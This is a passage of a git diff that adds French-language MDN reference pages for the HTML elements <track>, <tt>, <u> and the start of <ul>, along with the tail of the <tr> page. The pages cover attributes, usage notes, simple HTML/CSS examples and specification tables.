+   <td>Zéro ou plusieurs éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}}, éventuellement mélangés. Les éléments de script ({{HTMLElement("script")}} et {{HTMLElement("template")}}) sont également utilisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément {{HTMLElement("tr")}} est immédiatement suivi par un élément {{HTMLElement("tr")}} ou si l'élément du groupe parent (({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} ou {{HTMLElement("tfoot")}}) n'a plus d'autre contenu.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("table")}} (uniquement si le tableau ne possède pas d'élément {{HTMLElement("body")}} et uniquement après un élément  {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}} ou {{HTMLElement("thead")}}) , {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} ou {{HTMLElement("tfoot")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableRowElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-tr-element','tr element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-tr-element','tr element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.tr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}.</li>
+ <li>Les propriétés et pseudo-classes CSS qui sont particulièrement utiles pour mettre en forme l'élément <code>&lt;tr&gt;</code> :
+  <ul>
+   <li>La pseudo-classe {{cssxref(":nth-child")}} qui permet de définir l'alignement des cellules dans la colonne ou sur une ligne</li>
+   <li>La propriété {{cssxref("text-align")}} qui permet d'aligner l'ensemble des cellules par rapport au même caractère (comme le point ou la virgule).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/track/index.html b/files/fr/web/html/element/track/index.html
new file mode 100644
index 0000000000..547aaf905b
--- /dev/null
+++ b/files/fr/web/html/element/track/index.html
@@ -0,0 +1,174 @@
+---
+title: <track>
+slug: Web/HTML/Element/track
+tags:
+  - Element
+  - HTML
+  - Multimedia
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/track
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;track&gt;</code></strong> est utilisé comme élément fils d'un élément {{HTMLElement("audio")}} ou {{HTMLElement("video")}} et permet de fournir une piste texte pour le média (par exemple afin de gérer automatiquement les sous-titres). Les pistes texte utilisées avec cet élément sont formatées selon <a href="/fr/docs/Web/API/WebVTT_API">le format WebVTT</a> (ce sont des fichiers <code>.vtt</code>) (WebVTT pour <em>Web Video Text Tracks</em>) ou selon <a href="https://w3c.github.io/ttml2/index.html">le format <em>Timed Text Markup Language</em> (TTML)</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/track.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar des autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>Cet attribut booléen indique que c'est cette piste qui doit être activée par défaut, sauf si les réglages de l'utilisateur indiquent qu'une autre piste est plus appropriée. Pour un élément média donné, il ne peut y avoir qu'une seule piste avec cet attribut.</dd>
+ <dt>{{htmlattrdef("kind")}}</dt>
+ <dd>La façon dont la piste texte doit être utilisée. La valeur par défaut est <code>subtitles</code> et si la valeur fournie est incorrecte, l'agent utilisateur doit utiliser la valeur <code>metadata</code>. Cet attribut est un attribut à valeur contrainte qui peut prendre l'une des valeurs suivantes :
+ <ul>
+  <li><code>subtitles</code> (la valeur par défaut)
+   <ul>
+    <li>Les sous-titres fournissent une traduction du contenu lorsqu'il ne peut pas être compris par l'utilisateur. La piste peut, par exemple, contenir le texte espagnol d'un film joué en anglais.</li>
+    <li>Les sous-titres peuvent fournir du contenu supplémentaires, généralement des informations de contexte (par exemple, le texte qui défile au début d'un film Star Wars, la date ou le lieu d'une scène, etc.).</li>
+   </ul>
+  </li>
+  <li><code>captions</code>
+   <ul>
+    <li>La piste est une retransciption voire une traduction de la partie audio du média.</li>
+    <li>La piste peut contenir des informations non-verbales importantes comme des indications musicales ou des effets sonores. La piste peut également indiquer la source du bruit (musique, personnage, etc.).</li>
+    <li>Ce type de piste est adapté aux utilisateurs malentendants ou lorsque le son est désactivé.</li>
+   </ul>
+  </li>
+  <li><code>descriptions</code>
+   <ul>
+    <li>La piste est une description textuelle du contenu vidéo.</li>
+    <li>Ce type de piste est adapté aux personnes malvoyantes ou lorsque la vidéo ne peut pas être vue.</li>
+   </ul>
+  </li>
+  <li><code>chapters</code>
+   <ul>
+    <li>Les titres de chapitre utilisés lorsque l'utilisateur navigue au sein du média.</li>
+   </ul>
+  </li>
+  <li><code>metadata</code>
+   <ul>
+    <li>La piste est utilisé par des scripts, elle n'est pas visible pour l'utilisateur.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Le titre associé à la piste et qui est affiché par le navigateur lorsque celui-ci liste les pistes disponibles.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'adresse du fichier pour la piste (celle du fichier<code>.vtt</code>). Cet attribut doit être une URL valide et doit nécessairement être présent dans l'élément. L'URL indiquée doit avoir la même origine à moins que l'élément parent {{HTMLElement("audio")}} ou {{HTMLElement("video")}} de l'élément <code>&lt;track&gt;</code> possède un attribut <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">crossorigin</a>.</dd>
+ <dt>{{htmlattrdef("srclang")}}</dt>
+ <dd>La langue dans laquelle est exprimée la piste textuelle. La valeur de cet attribut doit être une balise de langue <a href="https://r12a.github.io/app-subtags/">BCP 47</a>. Si l'attribut <code>kind</code> vaut <code>subtitles,</code> l'attribut <code>srclang</code> doit obligatoirement être défini.</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Types_de_piste">Types de piste</h3>
+
+<p>Le type de donnéefournit par un élément <code>track</code> est décrit par l'attribut <code>kind</code>. Cet attribut peut prendre une valeur parmi <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> ou <code>metadata</code>. L'élément pointe vers un fichier source qui contient du texte avec des annotations temporelles que le navigateur affichera lorsque l'utilisateur en aura besoin.</p>
+
+<p>Un élément média ({{HTMLElement("audio")}} ou {{HTMLElement("video")}}) ne peut pas avoir plusieurs pistes partageant les mêmes valeurs pour les attributs <code>kind</code>, <code>srclang</code> et <code>label</code>.</p>
+
+<h3 id="Détecter_le_changement_de_texte">Détecter le changement de texte</h3>
+
+<p>{{page("/fr/docs/Web/API/TextTrack/cuechange_event", "On the track element")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;video controls poster="/images/sample.gif"&gt;
+   &lt;source src="sample.mp4" type="video/mp4"&gt;
+   &lt;source src="sample.ogv" type="video/ogv"&gt;
+   &lt;track kind="captions" src="sampleCaptions.vtt" srclang="en"&gt;
+   &lt;track kind="descriptions"
+     src="sampleDescriptions.vtt" srclang="en"&gt;
+   &lt;track kind="chapters" src="chapitres.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="soustitres_de.vtt" srclang="de"&gt;
+   &lt;track kind="subtitles" src="soustitres_en.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="soustitres_ja.vtt" srclang="ja"&gt;
+   &lt;track kind="subtitles" src="soustitres_oz.vtt" srclang="oz"&gt;
+   &lt;track kind="metadata" src="keyStage1.vtt" srclang="en"
+     label="Key Stage 1"&gt;
+   &lt;track kind="metadata" src="keyStage2.vtt" srclang="en"
+     label="Key Stage 2"&gt;
+   &lt;track kind="metadata" src="keyStage3.vtt" srclang="en"
+     label="Key Stage 3"&gt;
+   &lt;!-- Contenu alternatif pour les navigateurs qui
+        ne prennent pas en charge video --&gt;
+   ...
+&lt;/video&gt;
+</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Étant un élément vide, la balise de début doit être présente et il ne doit pas y avoir de balise de fin.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément média avant tout autre <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTrackElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','embedded-content.html#the-track-element','track element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "embedded-content-0.html#the-track-element", "track element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.track")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/WebVTT_API">Le format WebVTT</a></li>
+ <li>{{domxref("HTMLMediaElement.textTracks")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/tt/index.html b/files/fr/web/html/element/tt/index.html
new file mode 100644
index 0000000000..3e879d96c0
--- /dev/null
+++ b/files/fr/web/html/element/tt/index.html
@@ -0,0 +1,151 @@
+---
+title: '<tt> : l''élément de texte de téléscripteur (obsolète)'
+slug: Web/HTML/Element/tt
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/tt
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;tt&gt;</code></strong> (pour <em>Teletype Text</em>) crée un élément en ligne, écrit dans la police à chasse fixe par défaut du navigateur. Cet élément a été conçu pour mettre en forme du texte comme s'il apparaissait sur un affichage à largeur fixe tel qu'un téléscripteur.</p>
+
+<p>Cet élément est désormais obsolète et un élément {{HTMLElement("code")}}, {{HTMLElement("kbd")}}, {{HTMLElement("samp")}} ou {{HTMLElement("var")}} pourra être utilisé à la place s'il faut afficher du texte en incise avec une police à chasse fixe. On pourra utiliser l'élément {{HTMLElement("pre")}} pour afficher un bloc de contenu préformaté (également généralement affiché dans une police à chasse fixe).</p>
+
+<div class="note"><strong>Note :</strong> Si aucun de ces éléments ne correspond à la sémantique portée par votre contenu (lorsque, par exemple, il ne s'agit que d'un effet de mise en forme), vous pouvez utiliser un élément {{HTMLElement("span")}} mis en forme avec CSS (par exemple la propriété {{cssxref("font-family")}}).</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>Cet exemple utilise <code>&lt;tt&gt;</code> afin d'afficher le texte affiché et saisi dans un terminal.</p>
+
+<pre class="brush:html">&lt;p&gt;
+  Veuillez saisir la commande telnet suivante :
+  &lt;code&gt;set localecho&lt;/code&gt;&lt;br /&gt;
+  Le client telnet devrait alors afficher :
+  &lt;tt&gt;Local Echo is on&lt;/tt&gt;
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple", 650, 80)}}</p>
+
+<h3 id="Surcharger_la_police_par_défaut">Surcharger la police par défaut</h3>
+
+<p>Il est possible de surcharger la police par défaut utilisée pour cet élément grâce à CSS :</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">tt {
+  font-family: "Lucida Console", "Menlo", "Monaco", "Courier",
+               monospace;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;p&gt;
+  Veuillez saisir la commande telnet suivante :
+  &lt;code&gt;set localecho&lt;/code&gt;&lt;br /&gt;
+  Le client telnet devrait alors afficher :
+  &lt;tt&gt;Local Echo is on&lt;/tt&gt;
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Surcharger_la_police_par_défaut", 650, 80)}}</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Par défaut, le contenu de l'élément <code>&lt;tt&gt;</code> est affiché avec la police à chasse fixe par défaut du navigateur. Comme vu dans l'exemple précédent, il est possible de surcharger cette police.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les règles de style propres à l'utilisateur sont prioritaires par rapport aux feuilles de style d'un site ou d'une application web.</p>
+</div>
+
+<p>Bien que cet élément n'ait pas été officiellement déprécié en HTML 4.01, son utilisation a été déconseillée pour privilégier d'autres éléments HTML ou une mise en forme via CSS. L'élément <code>&lt;tt&gt;</code> est désormais obsolète en HTML5.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#tt', '&lt;tt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'obsolete.html#elementdef-tt', '&lt;tt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;tt&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.tt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("code")}}</li>
+ <li>{{HTMLElement("var")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/u/index.html b/files/fr/web/html/element/u/index.html
new file mode 100644
index 0000000000..4dac829322
--- /dev/null
+++ b/files/fr/web/html/element/u/index.html
@@ -0,0 +1,206 @@
+---
+title: '<u> : l''élément d''annotation non textuelle'
+slug: Web/HTML/Element/u
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/u
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;u&gt;</code></strong> permet d'afficher un fragment de texte qui est annoté avec des éléments non textuels. Par défaut, le contenu de l'élément est souligné. Cela pourra par exemple être le cas pour marquer un texte comme étant un nom propre chinois, ou pour marquer un texte qui a été mal orthographié.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cet élément était auparavant appelé <em>underline</em> pour les anciennes versions des spécifications HTML. Si on souhaite simplement souligner du texte, il ne faudra pas utiliser cet élément mais la propriété CSS {{cssxref("text-decoration")}} avec la valeur <code>"underline"</code>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/u.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Étant seulement un élément de mise en forme, l'élément {{HTMLElement("u")}} a été déprécié en HTML 4 et XHTML 1. Il a été ré-introduit en HTML5 avec une autre signification : le contenu de l'élément est annoté avec une annotation non-textuelle.</p>
+
+<p>La spécification rappelle que dans la majorité des cas, d'autres éléments que <code>&lt;u&gt;</code> doivent être utilisés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Attention à la mise en forme par défaut d'un élément <code>&lt;u&gt;</code> qui le souligne. Cela peut être source de confusion entre un tel texte et un lien hypertexte (également souligné par défaut).</p>
+</div>
+
+<h3 id="Cas_d'utilisation">Cas d'utilisation</h3>
+
+<p>L'élément <code>&lt;u&gt;</code> peut être utilisé afin d'indiquer des erreurs d'orthographe ou de grammaire, afin d'indiquer des noms propres au sein d'un texte écrit en chinois ou afin d'annoter un texte de façon visuelle.</p>
+
+<p>L'élément <code>&lt;u&gt;</code> ne doit pas être utilisé afin de simplement souligner un texte ou afin d'indiquer le titre d'une œuvre.</p>
+
+<h3 id="Autres_éléments_pouvant_être_utilisés">Autres éléments pouvant être utilisés</h3>
+
+<p>Dans la plupart des cas, il faudra utiliser un autre élément que <code>&lt;u&gt;</code> :</p>
+
+<ul>
+ <li>{{HTMLElement("em")}} afin d'indiquer une emphase</li>
+ <li>{{HTMLElement("b")}} afin d'indiquer une attention particulière</li>
+ <li>{{HTMLElement("mark")}} afin de marquer certains mots-clés ou phrases</li>
+ <li>{{HTMLElement("strong")}} afin d'indiquer que le texte a une importance particulière</li>
+ <li>{{HTMLElement("cite")}} afin d'indiquer le titre d'une œuvre ou d'une publication</li>
+ <li>{{HTMLElement("i")}} afin d'indiquer un terme technique, des noms de navires, des pensées ou des translitérations au sein d'un texte occidental.</li>
+</ul>
+
+<p>Afin de fournir une annotation textuelle, on pourra utiliser l'élément {{HTMLElement("ruby")}}.</p>
+
+<p>Afin de modifier la mise en forme, sans apporter de modification sémantique, on utilisera la propriété {{cssxref("text-decoration")}} avec la valeur <code>"underline"</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indiquer_une_erreur">Indiquer une erreur</h3>
+
+<p>Dans cet exemple, on utilise <code>&lt;u&gt;</code> et des règles CSS pour afficher un paragraphe qui contient une coquille. L'erreur est indiquée avec une ligne ondulée rouge sous le texte.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Ce paragraphe contient un mot mal
+  &lt;u class="spelling"&gt;rothografié&lt;/u&gt;.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">u.spelling {
+  text-decoration: red wavy underline;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Indiquer_une_erreur", 650, 80)}}</p>
+
+<h3 id="Éviter_&lt;u>">Éviter <code>&lt;u&gt;</code></h3>
+
+<p>La plupart du temps, ce n'est pas l'élément <code>&lt;u&gt;</code> qu'il faut utiliser. Voici quelques exemples de ces cas et les méthodes à privilégier.</p>
+
+<h4 id="Souligner_pour_la_simple_mise_en_forme">Souligner pour la simple mise en forme</h4>
+
+<p>Pour souligner du texte sans que cela ait une quelconque portée sémantique, on utilisera un élément {{HTMLElement("span")}} qu'on mettra en forme avec la propriété CSS  {{cssxref("text-decoration")}} et la valeur <code>"underline"</code> :</p>
+
+<h5 id="HTML_2">HTML</h5>
+
+<pre class="brush: html">&lt;span class="underline"&gt;Le plat du jour&lt;/span&gt;
+&lt;br&gt;
+Soupe de potiron avec un soupçon de noix de muscade</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css">.underline {
+  text-decoration: underline;
+}</pre>
+
+<h5 id="Résultat_2">Résultat</h5>
+
+<p>{{EmbedLiveSample("Souligner_pour_la_simple_mise_en_forme", 650, 80)}}</p>
+
+<h4 id="Indiquer_le_titre_pour_un_livre">Indiquer le titre pour un livre</h4>
+
+<div id="example-unstyled-cite">
+<p>Les titres de livres doivent être indiqués avec un élément {{HTMLElement("cite")}} et non avec <code>&lt;u&gt;</code> ou <code>&lt;i&gt;</code>.</p>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;
+  Nous avons lu &lt;cite&gt;La Horde du Contrevent&lt;/cite&gt;
+  au cours du premier trimestre.
+&lt;/p&gt;</pre>
+
+<h5 id="Résultat_avec_la_mise_en_forme_par_défaut">Résultat avec la mise en forme par défaut</h5>
+
+<p>{{EmbedLiveSample("example-unstyled-cite", 650, 80)}}</p>
+</div>
+
+<p>On notera que, par défaut, un élément <code>&lt;cite&gt;</code> est affiché en italique. Ceci peut être modifié grâce à CSS :</p>
+
+<pre class="brush: css">cite {
+  font-style: normal;
+  text-decoration: underline;
+}</pre>
+
+<h5 id="Résultat_3">Résultat</h5>
+
+<p>{{EmbedLiveSample("Indiquer_le_titre_pour_un_livre", 650, 80)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.u")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}} et {{HTMLElement("cite")}} qui, selon les cas, peuvent être utilisés à la place de <code>&lt;u&gt;</code>.</li>
+ <li>La propriété CSS {{cssxref("text-decoration")}} qui permet d'obtenir un effet stylistique semblable à la mise en forme par défaut d'un élément <code>&lt;u&gt;</code>.</li>
+</ul>
diff --git a/files/fr/web/html/element/ul/index.html b/files/fr/web/html/element/ul/index.html
new file mode 100644
index 0000000000..f44c66895e
--- /dev/null
+++ b/files/fr/web/html/element/ul/index.html
@@ -0,0 +1,195 @@
+---
+title: <ul>
+slug: Web/HTML/Element/ul
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ul
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;ul&gt;</code></strong> représente une liste d'éléments sans ordre particulier. Il est souvent représenté par une liste à puces.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ul.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar des différents éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("compact")}}{{Deprecated_inline}}</dt>
+ <dd>Cet attribut booléen fournit une indication pour afficher la liste en mode compact. L'interprétation de cet attribut est laissée à la discrétion de l'agent utilisateur et ne fonctionne pas pour tous les navigateurs.
